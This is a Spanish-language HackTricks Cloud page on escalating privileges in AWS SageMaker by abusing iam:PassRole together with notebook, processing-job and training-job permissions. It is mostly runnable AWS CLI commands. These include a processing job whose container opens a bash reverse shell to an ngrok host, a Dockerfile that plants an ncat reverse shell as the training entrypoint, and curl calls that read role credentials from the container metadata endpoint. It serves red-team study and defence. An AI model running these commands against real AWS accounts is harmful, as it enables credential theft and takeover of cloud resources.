AWS - Sagemaker Privesc

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Equipo Rojo de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

iam:PassRole, sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

Comienza creando un cuaderno con el Rol IAM para acceder adjunto a él:

aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

El siguiente contenido debe contener un campo NotebookInstanceArn, que contendrá el ARN de la instancia de notebook recién creada. Luego podemos usar la API create-presigned-notebook-instance-url para generar una URL que podremos utilizar para acceder a la instancia de notebook una vez que esté lista:

aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

Accede a la URL con el navegador y haz clic en Abrir JupyterLab en la esquina superior derecha, luego desplázate hacia abajo hasta la pestaña "Launcher" y, en la sección "Otros", haz clic en el botón "Terminal".

Ahora es posible acceder a las credenciales de metadatos del Rol IAM.

Impacto Potencial: Escalada de privilegios al rol de servicio de sagemaker especificado.

sagemaker:CreatePresignedNotebookInstanceUrl

Si ya hay notebooks de Jupyter en ejecución y puedes listarlos con sagemaker:ListNotebookInstances (o descubrirlos de cualquier otra manera), puedes generar una URL para ellos, acceder a ellos y robar las credenciales como se indica en la técnica anterior.

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

Impacto Potencial: Escalada de privilegios al rol de servicio de sagemaker adjunto.

sagemaker:CreateProcessingJob,iam:PassRole

Un atacante con esos permisos puede hacer que sagemaker ejecute un trabajo de procesamiento con un rol de sagemaker adjunto. El atacante puede indicar la definición del contenedor que se ejecutará en una instancia de cuenta de ECS administrada por AWS, y robar las credenciales del rol de IAM adjunto.

# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>

# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds

Impacto Potencial: Escalada de privilegios al rol de servicio de sagemaker especificado.

sagemaker:CreateTrainingJob, iam:PassRole

Un atacante con esos permisos podrá crear un trabajo de entrenamiento, ejecutando un contenedor arbitrario en él con un rol adjunto. Por lo tanto, el atacante podrá robar las credenciales del rol.

Este escenario es más difícil de explotar que el anterior porque necesitas generar una imagen de Docker que enviará la rev shell o credenciales directamente al atacante (no puedes indicar un comando de inicio en la configuración del trabajo de entrenamiento).

# Create docker image
mkdir /tmp/rev
## Note that the trainning job is going to call an executable called "train"
## That's why I'm putting the rev shell in /bin/train
## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF

cd /tmp/rev
sudo docker build . -t reverseshell

# Upload it to ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest

```bash # Create trainning job with the docker image created aws sagemaker create-training-job \ --training-job-name privescjob \ --resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ --algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ --role-arn \ --output-data-config '{"S3OutputPath": "s3://"}' \ --stopping-condition '{"MaxRuntimeInSeconds": 600}'

#To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer

**Impacto Potencial:** Privesc al rol de servicio de sagemaker especificado.

## `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`

Un atacante con esos permisos (potencialmente) podrá crear un **trabajo de ajuste de hiperparámetros**, **ejecutar un contenedor arbitrario** en él con un **rol adjunto**.\
_No he explotado debido a la falta de tiempo, pero parece similar a los exploits anteriores, siéntase libre de enviar un PR con los detalles de la explotación._

# Referencias
* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)

<details>

<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Otras formas de apoyar a HackTricks:

* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>

Última actualización